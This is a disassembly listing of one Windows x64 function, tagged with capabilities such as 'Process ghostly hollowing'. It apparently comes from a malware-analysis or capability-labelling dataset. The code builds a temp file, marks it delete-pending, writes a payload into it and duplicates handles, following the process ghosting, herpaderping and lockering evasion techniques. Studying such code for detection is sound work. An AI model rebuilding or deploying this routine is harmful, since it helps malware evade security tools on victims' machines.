Function at 0x1400032a8
Capabilities:
Get common file path
Process ghostly hollowing
Set file attributes
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x530
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x420], rax
mov esi, edx
mov rbx, rcx
xor r14d, r14d
mov word [rbp + 0x210], r14w
mov edi, 0x206
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x212]
call fcn.1400142a0
mov word [rbp], r14w
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 2]
call fcn.1400142a0
lea rdx, [rbp]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x210]
xor r8d, r8d
lea rdx, [0x14002adec]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
lea r8d, [r14 + 4]
lea rdx, str.___
lea rcx, [rbp - 0x60]
call fcn.140003c1c
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x60]
call fcn.140003aa4
mov word [rbp - 0x40], r14w
xor eax, eax
mov qword [rbp - 0x3e], rax
mov dword [rbp - 0x36], eax
mov word [rbp - 0x32], ax
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor edx, edx
lea r8d, [r14 + 0x28]
lea rcx, [rsp + 0x68]
call fcn.1400142a0
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x78], 0x40
lea rax, [rbp - 0x40]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x18], r14
xor eax, eax
mov qword [rbp - 0x10], rax
or r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x18]
lea r8, [rsp + 0x60]
mov edx, 0xc0110000
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
jns 0x140003430
cmp qword [rbp - 0x48], 8
jb 0x14000354b
mov rcx, qword [rbp - 0x60]
call fcn.14000b084
jmp 0x14000354b
mov rdi, qword [rsp + 0x58]
cmp qword [rbp - 0x48], 8
jb 0x140003445
mov rcx, qword [rbp - 0x60]
call fcn.14000b084
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000354b
mov qword [rbp - 0x28], r14
xor eax, eax
mov qword [rbp - 0x20], rax
lea rdx, str.ghosting
lea rcx, str.herpaderping
call fcn.14000f980
test eax, eax
jne 0x1400034ae
mov byte [rbp - 0x68], 1
mov dword [rsp + 0x20], 0xd
lea r9d, [rax + 1]
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
test eax, eax
js 0x14000354b
mov qword [rbp - 0x30], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x1400034ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000354b
lea rdx, str.lockering
lea rcx, str.herpaderping
call fcn.14000f980
test eax, eax
jne 0x140003546
xor r8d, r8d
xor edx, edx
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea r9, [rbp - 0x70]
mov r8, rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x14000354b
mov rax, rdi
jmp 0x14000354e
mov rax, r15
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.14000a720
mov rbx, qword [rsp + 0x570]
add rsp, 0x530
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret